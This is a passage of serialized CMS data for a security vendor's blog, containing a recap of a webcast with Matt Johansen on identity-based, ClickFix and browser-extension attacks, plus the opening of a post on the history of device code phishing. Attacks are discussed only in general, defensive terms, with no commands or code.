"nodeType":866},{},[28626],{"data":28627,"marks":28628,"value":4795,"nodeType":865},{},[28629],{"type":961},{"data":28631,"content":28632,"nodeType":1835},{},[28633],{"data":28634,"content":28635,"nodeType":866},{},[28636],{"data":28637,"marks":28638,"value":4805,"nodeType":865},{},[],{"data":28640,"content":28641,"nodeType":1869},{},[28642,28652],{"data":28643,"content":28644,"nodeType":1835},{},[28645],{"data":28646,"content":28647,"nodeType":866},{},[28648],{"data":28649,"marks":28650,"value":4819,"nodeType":865},{},[28651],{"type":961},{"data":28653,"content":28654,"nodeType":1835},{},[28655],{"data":28656,"content":28657,"nodeType":866},{},[28658],{"data":28659,"marks":28660,"value":4829,"nodeType":865},{},[],{"data":28662,"content":28663,"nodeType":1869},{},[28664,28674],{"data":28665,"content":28666,"nodeType":1835},{},[28667],{"data":28668,"content":28669,"nodeType":866},{},[28670],{"data":28671,"marks":28672,"value":4843,"nodeType":865},{},[28673],{"type":961},{"data":28675,"content":28676,"nodeType":1835},{},[28677],{"data":28678,"content":28679,"nodeType":866},{},[28680],{"data":28681,"marks":28682,"value":4853,"nodeType":865},{},[],{"data":28684,"content":28685,"nodeType":1869},{},[28686,28696],{"data":28687,"content":28688,"nodeType":1835},{},[28689],{"data":28690,"content":28691,"nodeType":866},{},[28692],{"data":28693,"marks":28694,"value":4867,"nodeType":865},{},[28695],{"type":961},{"data":28697,"content":28698,"nodeType":1835},{},[28699],{"data":28700,"content":28701,"nodeType":866},{},[28702],{"data":28703,"marks":28704,"value":4877,"nodeType":865},{},[],{"data":28706,"content":28707,"nodeType":1869},{},[28708,28718],{"data":28709,"content":28710,"nodeType":1835},{},[28711],{"data":28712,"content":28713,"nodeType":866},{},[28714],{"data":28715,"marks":28716,"value":4891,"nodeType":865},{},[28717],{"type":961},{"data":28719,"content":28720,"nodeType":1835},{},[28721],{"data":28722,"content":28723,"nodeType":866},{},[28724],{"data":28725,"marks":28726,"value":4901,"nodeType":865},{},[],{"data":28728,"content":28729,"nodeType":1869},{},[28730,28740],{"data":28731,"content":28732,"nodeType":1835},{},[28733],{"data":28734,"content":28735,"nodeType":866},{},[28736],{"data":28737,"marks":28738,"value":4915,"nodeType":865},{},[28739],{"type":961},{"data":28741,"content":28742,"nodeType":1835},{},[28743],{"data":28744,"content":28745,"nodeType":866},{},[28746],{"data":28747,"marks":28748,"value":4925,"nodeType":865},{},[],{"data":28750,"content":28751,"nodeType":1869},{},[28752,28762],{"data":28753,"content":28754,"nodeType":1835},{},[28755],{"data":28756,"content":28757,"nodeType":866},{},[28758],{"data":28759,"marks":28760,"value":4939,"nodeType":865},{},[28761],{"type":961},{"data":28763,"content":28764,"nodeType":1835},{},[28765],{"data":28766,"content":28767,"nodeType":866},{},[28768],{"data":28769,"marks":28770,"value":4949,"nodeType":865},{},[],{"data":28772,"content":28773,"nodeType":1869},{},[28774,28784],{"data":28775,"content":28776,"nodeType":1835},{},[28777],{"data":28778,"content":28779,"nodeType":866},{},[28780],{"data":28781,"marks":28782,"value":4963,"nodeType":865},{},[28783],{"type":961},{"data":28785,"content":28786,"nodeType":1835},{},[28787],{"data":28788,"content":28789,"nodeType":866},{},[28790],{"data":28791,"marks":28792,"value":4973,"nodeType":865},{},[],{"data":28794,"content":28795,"nodeType":1869},{},[28796,28806],{"data":28797,"content":28798,"nodeType":1835},{},[28799],{"data":28800,"content":28801,"nodeType":866},{},[28802],{"data":28803,"marks":28804,"value":4654,"nodeType":865},{},[28805],{"type":961},{"data":28807,"content":28808,"nodeType":1835},{},[28809],{"data":28810,"content":28811,"nodeType":866},{},[28812],{"data":28813,"marks":28814,"value":4996,"nodeType":865},{},[],{"data":28816,"content":28817,"nodeType":953},{},[],{"data":28819,"content":28820,"nodeType":866},{},[28821,28824,28830],{"data":28822,"marks":28823,"value":5006,"nodeType":865},{},[],{"data":28825,"content":28826,"nodeType":882},{"uri":1728},[28827],{"data":28828,"marks":28829,"value":2812,"nodeType":865},{},[],{"data":28831,"marks":28832,"value":21,"nodeType":865},{},[],{"items":28834},[28835,28837],{"sys":28836,"name":297},{"id":2828},{"sys":28838,"name":2825},{"id":2824},{"items":28840},[28841],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":28842},{"url":5032},"making-the-business-case-for-a-browser-security-solution","blog/making-the-business-case-for-a-browser-security-solution",{"json":28846},{"data":28847,"content":28848,"nodeType":1739},{},[28849],{"data":28850,"content":28851,"nodeType":866},{},[28852],{"data":28853,"marks":28854,"value":28855,"nodeType":865},{},[],"Browser security is one of the fastest-growing investment areas in enterprise security. It's clear that security teams need browser security solutions, but the challenge is often figuring out how to fund it.","Browser security is one of the fastest-growing investment areas in enterprise security. Here's our proven framework to create budget for browser security tools.",{"id":28858,"publishedAt":28859},"3u4XQlYOFzwY1nKVFaovos","2026-08-12T12:00:51.400Z",{"items":28861},[28862,28864],{"sys":28863,"name":297},{"id":2828},{"sys":28865,"name":2825},{"id":2824},{"items":28867},[28868,28870,28872,28874,28876,28878,28880,28882,28884,28886,28888,28890,28892,28894,28896,28898],{"sys":28869,"name":297,"slug":298,"tier":31},{"id":294},{"sys":28871,"name":413,"slug":414,"tier":31},{"id":410},{"sys":28873,"name":235,"slug":236,"tier":31},{"id":232},{"sys":28875,"name":279,"slug":280,"tier":31},{"id":276},{"sys":28877,"name":624,"slug":625,"tier":45},{"id":621},{"sys":28879,"name":306,"slug":307,"tier":45},{"id":303},{"sys":28881,"name":377,"slug":378,"tier":45},{"id":374},{"sys":28883,"name":580,"slug":581,"tier":45},{"id":577},{"sys":28885,"name":252,"slug":253,"tier":45},{"id":249},{"sys":28887,"name":589,"slug":590,"tier":45},{"id":586},{"sys":28889,"name":261,"slug":262,"tier":45},{"id":258},{"sys":28891,"name":315,"slug":316,"tier":45},{"id":312},{"sys":28893,"name":457,"slug":458,"tier":45},{"id":454},{"sys":28895,"name":502,"slug":503,"tier":45},{"id":499},{"sys":28897,"name":633,"slug":634,"tier":45},{"id":630},{"sys":28899,"name":386,"slug":387,"tier":45},{"id":383},"bBKwW9E1rG-3LgBNn6aPFkmENwD8ArxqVXJcqXlDmIg",{"id":28902,"title":28903,"authorsCollection":28904,"content":28912,"extension":228,"faqItemsCollection":29436,"faqTitle":59,"featured":6,"hashTags":59,"meta":29438,"metaTitle":29439,"ogImage":59,"postType":1783,"publishedDate":27205,"relatedBlogPostsCollection":29440,"slug":34252,"stem":34253,"subtitle":59,"summary":34254,"synopsis":34276,"sys":34277,"tagsCollection":34280,"topicsCollection":34286,"__hash__":34324},"blog/blog/7-things-we-learned-from-matt-johansen.json","What we learned from 'Security Theater vs. Security That Works' with Matt Johansen",{"items":28905},[28906],{"fullName":28907,"firstName":28908,"jobTitle":28909,"socialLinks":59,"profilePicture":28910},"Daniel Park","Daniel","Technical Content",{"url":28911},"https://images.ctfassets.net/y1cdw1ablpvd/6Cwg1xVeCdzUvxBIMfnDO5/6b18ed126b53611e7b521da34f900d29/254-0-2.jpg",{"json":28913,"links":29420},{"data":28914,"content":28915,"nodeType":1739},{},[28916,28924,28931,28958,28965,28972,28975,28983,28990,29007,29014,29032,29035,29043,29050,29069,29087,29105,29108,29114,29119,29122,29130,29137,29153,29160,29163,29171,29209,29216,29223,29230,29238,29257,29275,29282,29289,29296,29314,29317,29325,29332,29350,29357,29364,29367,29389,29392,29398,29404],{"data":28917,"content":28918,"nodeType":963},{},[28919],{"data":28920,"marks":28921,"value":28923,"nodeType":865},{},[28922],{"type":961},"1. Hackers don't hack in, they log in",{"data":28925,"content":28926,"nodeType":866},{},[28927],{"data":28928,"marks":28929,"value":28930,"nodeType":865},{},[],"Matt made the point early on that \"the modern web frameworks that have come out have done more to shift application security than any security vendor ever did.\" It's measurably harder to write exploitable code in 2026 than it was even five years ago, and the data reflects that — as Matt put it, \"most hacks that we read about these days are actually logins, not actually hacks in terms of vulnerabilities.\" Attackers aren't breaking in — they're logging in.",{"data":28932,"content":28933,"nodeType":866},{},[28934,28938,28942,28946,28954],{"data":28935,"marks":28936,"value":28937,"nodeType":865},{},[],"The data backs this up across the board. CrowdStrike's 2026 Global Threat Report found that ",{"data":28939,"marks":28940,"value":8525,"nodeType":865},{},[28941],{"type":961},{"data":28943,"marks":28944,"value":28945,"nodeType":865},{},[]," — no exploit, no payload, just access and legitimate functionality being abused. ",{"data":28947,"content":28949,"nodeType":882},{"uri":28948},"https://services.google.com/fh/files/misc/cloud_threat_horizons_report_h12026.pdf",[28950],{"data":28951,"marks":28952,"value":28953,"nodeType":865},{},[],"Google/Mandiant",{"data":28955,"marks":28956,"value":28957,"nodeType":865},{},[]," recently reported that identity issues were the initial access vector in 83% of cloud-related incidents.",{"data":28959,"content":28960,"nodeType":866},{},[28961],{"data":28962,"marks":28963,"value":28964,"nodeType":865},{},[],"And when you look at the economics, the shift makes obvious sense: a browser RCE goes for around $250,000, while a PhaaS kit rental runs about $1,000 per year and a bulk stolen credential list costs $15. For a rational attacker, identity abuse isn't just easier — it's orders of magnitude cheaper.",{"data":28966,"content":28967,"nodeType":866},{},[28968],{"data":28969,"marks":28970,"value":28971,"nodeType":865},{},[],"This isn't a new observation, but it's one that still hasn't fully landed in how most organizations allocate their security budgets. The bulk of enterprise security spending is still pointed at the endpoint and the network — tooling built for an era when the primary threat was malware and exploitation. The threat model has moved, and for a lot of organizations, the stack hasn't moved with it.",{"data":28973,"content":28974,"nodeType":953},{},[],{"data":28976,"content":28977,"nodeType":963},{},[28978],{"data":28979,"marks":28980,"value":28982,"nodeType":865},{},[28981],{"type":961},"2. AI is a force multiplier, but it isn't a super hacker",{"data":28984,"content":28985,"nodeType":866},{},[28986],{"data":28987,"marks":28988,"value":28989,"nodeType":865},{},[],"The Mythos discourse has been hard to escape. As Matt put it, the view that \"the AI super hacker has escaped the lab\" is \"not actually what's going on.\" What's actually happening is that AI models trained to understand code are turning out to be very good at finding specific types of vulnerabilities in predominantly legacy codebases — but defenders stand to gain a lot too.",{"data":28991,"content":28992,"nodeType":866},{},[28993,28997,29004],{"data":28994,"marks":28995,"value":28996,"nodeType":865},{},[],"As Matt referenced, Google's CISO Heather Adkins said on stage at the Unprompted conference that Google's stated goal is \"to eliminate all software vulnerabilities, period.\" And browser zero-days already hit a ",{"data":28998,"content":28999,"nodeType":882},{"uri":19569},[29000],{"data":29001,"marks":29002,"value":29003,"nodeType":865},{},[],"historic low at just 9% of all zero-days reported to Google in 2025",{"data":29005,"marks":29006,"value":1048,"nodeType":865},{},[],{"data":29008,"content":29009,"nodeType":866},{},[29010],{"data":29011,"marks":29012,"value":29013,"nodeType":865},{},[],"But won't AI-assisted vulnerability discovery eventually make browser exploits cheaper for attackers too? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":29015,"content":29016,"nodeType":866},{},[29017,29021,29028],{"data":29018,"marks":29019,"value":29020,"nodeType":865},{},[],"As Matt noted, \"they didn't train these models to be good at cybersecurity — they just trained them to get better and better at code,\" and big tech vendors like Google have the resources to really invest in these tools. The rational play for attackers is the same one it's been for years: skip the exploit development entirely and ",{"data":29022,"content":29023,"nodeType":882},{"uri":3620},[29024],{"data":29025,"marks":29026,"value":29027,"nodeType":865},{},[],"steal identities and sessions in the browser",{"data":29029,"marks":29030,"value":29031,"nodeType":865},{},[]," instead.",{"data":29033,"content":29034,"nodeType":953},{},[],{"data":29036,"content":29037,"nodeType":963},{},[29038],{"data":29039,"marks":29040,"value":29042,"nodeType":865},{},[29041],{"type":961},"3. MFA is essential — but it isn't a silver bullet",{"data":29044,"content":29045,"nodeType":866},{},[29046],{"data":29047,"marks":29048,"value":29049,"nodeType":865},{},[],"Nobody's arguing against MFA. It's one of the most important security controls any organization can deploy, and both Matt and Mark were clear about that. But the conversation surfaced something that doesn't get enough attention: there are always gaps in coverage, and attackers have consistently found ways under, over, or through it.",{"data":29051,"content":29052,"nodeType":866},{},[29053,29057,29065],{"data":29054,"marks":29055,"value":29056,"nodeType":865},{},[],"Mark observed that every organization he talks to says they're in the process of \"rolling out\" MFA. It's always in progress, never complete — there's always an app that doesn't support it, a legacy system that can't handle it, a user population that hasn't been migrated, or a SaaS vendor charging extra for the privilege (the ",{"data":29058,"content":29060,"nodeType":882},{"uri":29059},"https://pushsecurity.com/blog/minimum-viable-identity-security/",[29061],{"data":29062,"marks":29063,"value":29064,"nodeType":865},{},[],"security tax",{"data":29066,"marks":29067,"value":29068,"nodeType":865},{},[],"). Coverage gaps are the norm, not the exception.",{"data":29070,"content":29071,"nodeType":866},{},[29072,29076,29083],{"data":29073,"marks":29074,"value":29075,"nodeType":865},{},[],"Then there's the bypass evolution. Matt walked through the history — SMS and SIM swapping, push notifications and push fatigue, and now ",{"data":29077,"content":29078,"nodeType":882},{"uri":8581},[29079],{"data":29080,"marks":29081,"value":29082,"nodeType":865},{},[],"AiTM kits ",{"data":29084,"marks":29085,"value":29086,"nodeType":865},{},[],"that proxy the entire authentication flow, capturing both the password and the MFA token in a single attack. Every step up the MFA ladder, attackers have found a way around. Phishing-resistant methods like hardware tokens and passkeys are a meaningful improvement, but rollout is slow and uneven.",{"data":29088,"content":29089,"nodeType":866},{},[29090,29094,29101],{"data":29091,"marks":29092,"value":29093,"nodeType":865},{},[],"And then there's the class of attacks that sidestep authentication entirely. Consent phishing, ",{"data":29095,"content":29096,"nodeType":882},{"uri":1384},[29097],{"data":29098,"marks":29099,"value":29100,"nodeType":865},{},[],"device code phishing",{"data":29102,"marks":29103,"value":29104,"nodeType":865},{},[],", session hijacking — these are all post-authentication attacks. The user has already authenticated successfully, the MFA did its job, and the attacker is going after what comes after: OAuth tokens, session cookies, consent grants. Matt compared these to zero days for identity — they bypass the entire front end of your defensive stack. MFA is absolutely something you should be rolling out and strengthening, but it's one layer in what needs to be a deeper defense.",{"data":29106,"content":29107,"nodeType":953},{},[],{"data":29109,"content":29113,"nodeType":925},{"target":29110},{"sys":29111},{"id":29112,"type":922,"linkType":923},"7upGHPt7eVNji6v22h124t",[],{"data":29115,"content":29118,"nodeType":925},{"target":29116},{"sys":29117},{"id":15574,"type":922,"linkType":923},[],{"data":29120,"content":29121,"nodeType":953},{},[],{"data":29123,"content":29124,"nodeType":963},{},[29125],{"data":29126,"marks":29127,"value":29129,"nodeType":865},{},[29128],{"type":961},"4. User training is not enough: better technical controls are required",{"data":29131,"content":29132,"nodeType":866},{},[29133],{"data":29134,"marks":29135,"value":29136,"nodeType":865},{},[],"Matt was blunt on this one: \"If those tips worked, cybersecurity as a profession would be out of business.\" 20+ years of user awareness training, and phishing is arguably more effective than ever. The standard advice — hover over links, check the sender, look for typos — assumes a level of sustained vigilance that no human can maintain across every interaction, every day.",{"data":29138,"content":29139,"nodeType":866},{},[29140,29144,29149],{"data":29141,"marks":29142,"value":29143,"nodeType":865},{},[],"What made his point land was the contrast between the comment sections on his ClickFix content — \"Who the hell would fall for this?\" — and the reality that ",{"data":29145,"marks":29146,"value":29148,"nodeType":865},{},[29147],{"type":961},"every incident response professional he knows is currently working a ClickFix case. ",{"data":29150,"marks":29151,"value":29152,"nodeType":865},{},[],"The people saying nobody would fall for it are not the people cleaning up after it.",{"data":29154,"content":29155,"nodeType":866},{},[29156],{"data":29157,"marks":29158,"value":29159,"nodeType":865},{},[],"Matt also brought the recent Lazarus group fake job scams: threat actors spending six months building trust with a target — meeting in person at conferences, multiple times — before eventually getting them to install a malicious browser extension during a Zoom call. All of the social engineering that precedes the actual compromise is just trust-building, and the sophistication of that trust-building is increasing faster than any training program can keep up with. You need defensive layers that don't depend on the user making the right call every single time.",{"data":29161,"content":29162,"nodeType":953},{},[],{"data":29164,"content":29165,"nodeType":963},{},[29166],{"data":29167,"marks":29168,"value":29170,"nodeType":865},{},[29169],{"type":961},"5. Every IR pro you know is working a ClickFix case",{"data":29172,"content":29173,"nodeType":866},{},[29174,29178,29185,29189,29196,29199,29205],{"data":29175,"marks":29176,"value":29177,"nodeType":865},{},[],"ClickFix came up repeatedly, and for good reason — it's one of the ",{"data":29179,"content":29180,"nodeType":882},{"uri":3620},[29181],{"data":29182,"marks":29183,"value":29184,"nodeType":865},{},[],"most common initial access vectors",{"data":29186,"marks":29187,"value":29188,"nodeType":865},{},[]," being reported right now. Matt said he doesn't know a single IR professional in his network who \"isn't actively working a ClickFix-related case.\" The technique, which tricks users into copying and pasting malicious commands, has spawned an entire family of variants (",{"data":29190,"content":29191,"nodeType":882},{"uri":11342},[29192],{"data":29193,"marks":29194,"value":19228,"nodeType":865},{},[29195],{"type":997},{"data":29197,"marks":29198,"value":2186,"nodeType":865},{},[],{"data":29200,"content":29201,"nodeType":882},{"uri":11102},[29202],{"data":29203,"marks":29204,"value":11095,"nodeType":865},{},[],{"data":29206,"marks":29207,"value":29208,"nodeType":865},{},[],", and others), and they're evolving fast.",{"data":29210,"content":29211,"nodeType":866},{},[29212],{"data":29213,"marks":29214,"value":29215,"nodeType":865},{},[],"Matt shared a particularly good example of why the \"just don't fall for it\" advice falls apart. Attackers were paying for ads promoting ChatGPT chat history links on technical search queries — things like \"how to clean up disk space on Mac.\" The top result was a legitimate-looking ChatGPT interface with what appeared to be helpful terminal commands.",{"data":29217,"content":29218,"nodeType":866},{},[29219],{"data":29220,"marks":29221,"value":29222,"nodeType":865},{},[],"The user was already looking for commands to copy and paste into their terminal. The attack didn't need to trick them into doing something unusual — it just showed up in the exact context where copy-pasting commands was the expected behavior.",{"data":29224,"content":29225,"nodeType":866},{},[29226],{"data":29227,"marks":29228,"value":29229,"nodeType":865},{},[],"The new variants keep appearing because the underlying technique is modular — the trust-building wrapper changes (fake CAPTCHAs, fake error messages, fake install instructions, fake AI chat interfaces), but the core mechanic is the same. What makes it dangerous is that each new wrapper goes quasi-viral among attackers when it proves successful, which means the window between a new variant appearing and widespread adoption is very short.",{"data":29231,"content":29232,"nodeType":963},{},[29233],{"data":29234,"marks":29235,"value":29237,"nodeType":865},{},[29236],{"type":961},"6. Browser extensions are the threat that never went away (and it's a bigger problem than ever)",{"data":29239,"content":29240,"nodeType":866},{},[29241,29245,29253],{"data":29242,"marks":29243,"value":29244,"nodeType":865},{},[],"Browser extensions are a topic we've ",{"data":29246,"content":29248,"nodeType":882},{"uri":29247},"https://pushsecurity.com/resources/browser-extensions-webinar",[29249],{"data":29250,"marks":29251,"value":29252,"nodeType":865},{},[],"covered in depth before",{"data":29254,"marks":29255,"value":29256,"nodeType":865},{},[],", and Matt's perspective reinforced why. His first conference talk — Black Hat and DEF CON in 2011 — was about Chrome extension security. As he put it: \"I could give that talk right now with very few changes to the slides and it would still be extremely relevant.\"",{"data":29258,"content":29259,"nodeType":866},{},[29260,29264,29271],{"data":29261,"marks":29262,"value":29263,"nodeType":865},{},[],"The core problem hasn't moved: ",{"data":29265,"content":29266,"nodeType":882},{"uri":4136},[29267],{"data":29268,"marks":29269,"value":29270,"nodeType":865},{},[],"extensions need broad permissions to function",{"data":29272,"marks":29273,"value":29274,"nodeType":865},{},[],", even for completely legitimate use cases. A password manager needs to read login forms on every website. A dark mode extension needs to modify the DOM on every page. An RSS reader needs access to arbitrary sites. These aren't excessive permissions — they're the minimum required for the extension to do what it advertises.",{"data":29276,"content":29277,"nodeType":866},{},[29278],{"data":29279,"marks":29280,"value":29281,"nodeType":865},{},[],"What's making it worse is the AI adoption wave. Many AI tools ship with browser extension counterparts, and employees are installing them alongside the apps themselves — often without approval. The broader rush to adopt AI tooling is acting as a force multiplier for the shadow SaaS problem that security teams have been struggling with for years, and extensions are a big part of that.",{"data":29283,"content":29284,"nodeType":866},{},[29285],{"data":29286,"marks":29287,"value":29288,"nodeType":865},{},[],"The ways extensions get compromised vary. Users still get tricked into installing something malicious from the start, but legitimate extensions also turn malicious after the fact. Matt outlined several mechanisms: developer accounts getting compromised and attackers pushing malicious updates to the existing user base; extension developers accepting monetization deals that turn out to be data-harvesting operations; and threat actors outright purchasing extensions with established user bases and then pushing malware to them.",{"data":29290,"content":29291,"nodeType":866},{},[29292],{"data":29293,"marks":29294,"value":29295,"nodeType":865},{},[],"The Chrome Web Store doesn't solve this. Matt noted that he uploaded a proof-of-concept extension literally called \"Malicious Extension\" and it made it onto the store. There's some review process, but it's not real-time, it's not continuous, and it doesn't cover updates after initial submission.",{"data":29297,"content":29298,"nodeType":866},{},[29299,29303,29310],{"data":29300,"marks":29301,"value":29302,"nodeType":865},{},[],"Even organizations with a formal extension approval process typically only look at the extension once — at install time. Nobody's reviewing every update to every approved extension. And the risk assessment? \"It's mostly based on vibes. There's very little science here.\" Even at organizations with mature security programs, Matt hasn't seen many that have ",{"data":29304,"content":29305,"nodeType":882},{"uri":27049},[29306],{"data":29307,"marks":29308,"value":29309,"nodeType":865},{},[],"real-time, ongoing visibility",{"data":29311,"marks":29312,"value":29313,"nodeType":865},{},[]," into what's happening inside their employees' browser extensions.",{"data":29315,"content":29316,"nodeType":953},{},[],{"data":29318,"content":29319,"nodeType":963},{},[29320],{"data":29321,"marks":29322,"value":29324,"nodeType":865},{},[29323],{"type":961},"7. You have 30 minutes to respond to a cloud intrusion — and revoking the token isn't enough",{"data":29326,"content":29327,"nodeType":866},{},[29328],{"data":29329,"marks":29330,"value":29331,"nodeType":865},{},[],"Matt was direct about the speed benchmark practitioners should be targeting: meaningful containment and eradication within about 30 minutes, because attackers are partially achieving their objectives in 20 to 40 minutes and significantly past the point of no return within an hour.",{"data":29333,"content":29334,"nodeType":866},{},[29335,29339,29346],{"data":29336,"marks":29337,"value":29338,"nodeType":865},{},[],"The data supports this picture. CrowdStrike reports that the average e-crime \"breakout time\" (moving from initial access to high-value assets) is now just 29 minutes, while Google reports that the median time between initial access and hand-off to a secondary group has collapsed from ",{"data":29340,"content":29341,"nodeType":882},{"uri":3990},[29342],{"data":29343,"marks":29344,"value":29345,"nodeType":865},{},[],"over 8 hours in 2022 to just 22 seconds in 2025",{"data":29347,"marks":29348,"value":29349,"nodeType":865},{},[]," — pointing to a highly automated, interconnected, and professionalized threat actor ecosystem.",{"data":29351,"content":29352,"nodeType":866},{},[29353],{"data":29354,"marks":29355,"value":29356,"nodeType":865},{},[],"But speed alone isn't the problem Matt emphasized — it's that the containment actions practitioners think they have don't actually work the way they expect. His anecdote about revoking an IdP OAuth token and assuming the session was killed, only to discover that the 200 downstream SaaS session tokens were still live, will resonate with anyone who has worked an identity-based incident.",{"data":29358,"content":29359,"nodeType":866},{},[29360],{"data":29361,"marks":29362,"value":29363,"nodeType":865},{},[],"You can't move that fast if you're figuring out what your tools can and can't do during the incident. The teams that handle these situations well are the ones that have taken stock of their actual capabilities beforehand — what their IdP revokes, what it doesn't, which SaaS apps have independent session management, where the gaps are. The teams that don't are the ones at \"1 AM with a pager in hand going, 'What the hell do I do now?'\" as Matt described it. \"Ask me how I know.\"",{"data":29365,"content":29366,"nodeType":953},{},[],{"data":29368,"content":29369,"nodeType":11214},{},[29370],{"data":29371,"content":29372,"nodeType":866},{},[29373,29377,29385],{"data":29374,"marks":29375,"value":29376,"nodeType":865},{},[],"This post is a recap of ",{"data":29378,"content":29380,"nodeType":882},{"uri":29379},"https://pushsecurity.com/resources/security-theatre-vs-security-works",[29381],{"data":29382,"marks":29383,"value":29384,"nodeType":865},{},[],"Security theatre vs. security that works",{"data":29386,"marks":29387,"value":29388,"nodeType":865},{},[],", the third episode in Push Security's webcast series on the state of browser attacks. Watch the full recording for the complete conversation, including live Q&A with Mark and Matt.",{"data":29390,"content":29391,"nodeType":953},{},[],{"data":29393,"content":29394,"nodeType":866},{},[29395],{"data":29396,"marks":29397,"value":2792,"nodeType":865},{},[],{"data":29399,"content":29400,"nodeType":866},{},[29401],{"data":29402,"marks":29403,"value":1718,"nodeType":865},{},[],{"data":29405,"content":29406,"nodeType":866},{},[29407,29410,29417],{"data":29408,"marks":29409,"value":21,"nodeType":865},{},[],{"data":29411,"content":29412,"nodeType":882},{"uri":1728},[29413],{"data":29414,"marks":29415,"value":10641,"nodeType":865},{},[29416],{"type":997},{"data":29418,"marks":29419,"value":1738,"nodeType":865},{},[],{"entries":29421},{"hyperlink":29422,"inline":29423,"block":29424},[],[],[29425,29429],{"sys":29426,"__typename":5631,"type":5632,"ctaText":29427,"buttonLabel":29428,"buttonColour":5635,"buttonUrl":18999},{"id":29112},"Check out our browser and identity attacks matrix for a comprehensive overview of attack techniques using a MITRE-inspired mapping.","Check it out",{"sys":29430,"__typename":1747,"title":15454,"caption":29431,"layoutMode":59,"file":29432},{"id":15574},"Browser and identity-based techniques have exploded since we first launched our attack matrix",{"url":29433,"width":29434,"height":29435},"https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png",6160,4432,{"items":29437},[],{},"7 things we learned from our conversation with Matt Johansen",{"items":29441},[29442,32450,33531],{"__typename":1788,"sys":29443,"content":29444,"title":32433,"synopsis":32434,"hashTags":59,"publishedDate":32435,"slug":361,"tagsCollection":32436,"authorsCollection":32442},{"id":15486},{"json":29445},{"data":29446,"content":29447,"nodeType":1739},{},[29448,29454,29474,29492,29499,29505,29512,29519,29522,29530,29536,29620,29640,29646,29653,29768,29774,29777,29785,29792,29798,29801,29809,29850,29856,29863,29870,29877,29884,29903,29909,29915,29921,29927,29933,29939,29945,29951,30214,30217,30225,30360,30366,30369,30377,30417,30551,30557,30560,30568,30715,30721,30724,30732,30738,30878,30884,30890,30893,30901,31048,31054,31057,31065,31211,31217,31220,31228,31323,31329,31332,31340,31434,31440,31443,31451,31457,31590,31596,31599,31607,31656,31662,31665,31673,31812,31817,31820,31828,31960,31966,31969,31977,31989,31996,32002,32008,32015,32036,32052,32058,32061,32069,32077,32098,32119,32124,32131,32138,32146,32153,32160,32167,32175,32182,32232,32238,32241,32249,32256,32263,32310,32316,32323,32326,32334,32341,32348,32368,32374,32381,32388,32395],{"data":29449,"content":29453,"nodeType":925},{"target":29450},{"sys":29451},{"id":29452,"type":922,"linkType":923},"XOFOeNqmRHeiRbkPOJrP1",[],{"data":29455,"content":29456,"nodeType":866},{},[29457,29461,29470],{"data":29458,"marks":29459,"value":29460,"nodeType":865},{},[],"The OAuth 2.0 ",{"data":29462,"content":29464,"nodeType":882},{"uri":29463},"https://www.rfc-editor.org/rfc/rfc8628",[29465],{"data":29466,"marks":29467,"value":29469,"nodeType":865},{},[29468],{"type":997},"device authorization grant",{"data":29471,"marks":29472,"value":29473,"nodeType":865},{},[]," was designed to enable input-constrained devices to sign-in to apps by asking the user to complete the login on a separate device by entering a code. But today, it’s mainly used when accessing CLI tools, meaning that many users encounter the device code flow daily. ",{"data":29475,"content":29476,"nodeType":866},{},[29477,29480,29488],{"data":29478,"marks":29479,"value":21,"nodeType":865},{},[],{"data":29481,"content":29483,"nodeType":882},{"uri":29482},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md",[29484],{"data":29485,"marks":29486,"value":360,"nodeType":865},{},[29487],{"type":997},{"data":29489,"marks":29490,"value":29491,"nodeType":865},{},[]," attacks designed to exploit this authorization flow are not new — it was among the first techniques that we added to the SaaS attacks matrix back in 2023. But it’s taken until now for it to really enter mainstream adoption. ",{"data":29493,"content":29494,"nodeType":866},{},[29495],{"data":29496,"marks":29497,"value":29498,"nodeType":865},{},[],"The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.",{"data":29500,"content":29504,"nodeType":925},{"target":29501},{"sys":29502},{"id":29503,"type":922,"linkType":923},"Al0pGH8vmOYiufDFiAbt0",[],{"data":29506,"content":29507,"nodeType":866},{},[29508],{"data":29509,"marks":29510,"value":29511,"nodeType":865},{},[],"We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. ",{"data":29513,"content":29514,"nodeType":866},{},[29515],{"data":29516,"marks":29517,"value":29518,"nodeType":865},{},[],"In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. ",{"data":29520,"content":29521,"nodeType":953},{},[],{"data":29523,"content":29524,"nodeType":963},{},[29525],{"data":29526,"marks":29527,"value":29529,"nodeType":865},{},[29528],{"type":961},"A brief history of device code phishing",{"data":29531,"content":29535,"nodeType":925},{"target":29532},{"sys":29533},{"id":29534,"type":922,"linkType":923},"6u3DgvSGChtTJu7l9I7PG1",[],{"data":29537,"content":29538,"nodeType":866},{},[29539,29543,29552,29556,29565,29569,29578,29582,29591,29595,29604,29607,29616],{"data":29540,"marks":29541,"value":29542,"nodeType":865},{},[],"The technique was first documented in 2020, before Secureworks released the first tooling framework ",{"data":29544,"content":29546,"nodeType":882},{"uri":29545},"https://github.com/secureworks/PhishInSuits",[29547],{"data":29548,"marks":29549,"value":29551,"nodeType":865},{},[29550],{"type":997},"PhishInSuits",{"data":29553,"marks":29554,"value":29555,"nodeType":865},{},[]," a year later. A host of research followed, including ",{"data":29557,"content":29559,"nodeType":882},{"uri":29558},"https://github.com/secureworks/squarephish",[29560],{"data":29561,"marks":29562,"value":29564,"nodeType":865},{},[29563],{"type":997},"SquarePhish",{"data":29566,"marks":29567,"value":29568,"nodeType":865},{},[]," v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s 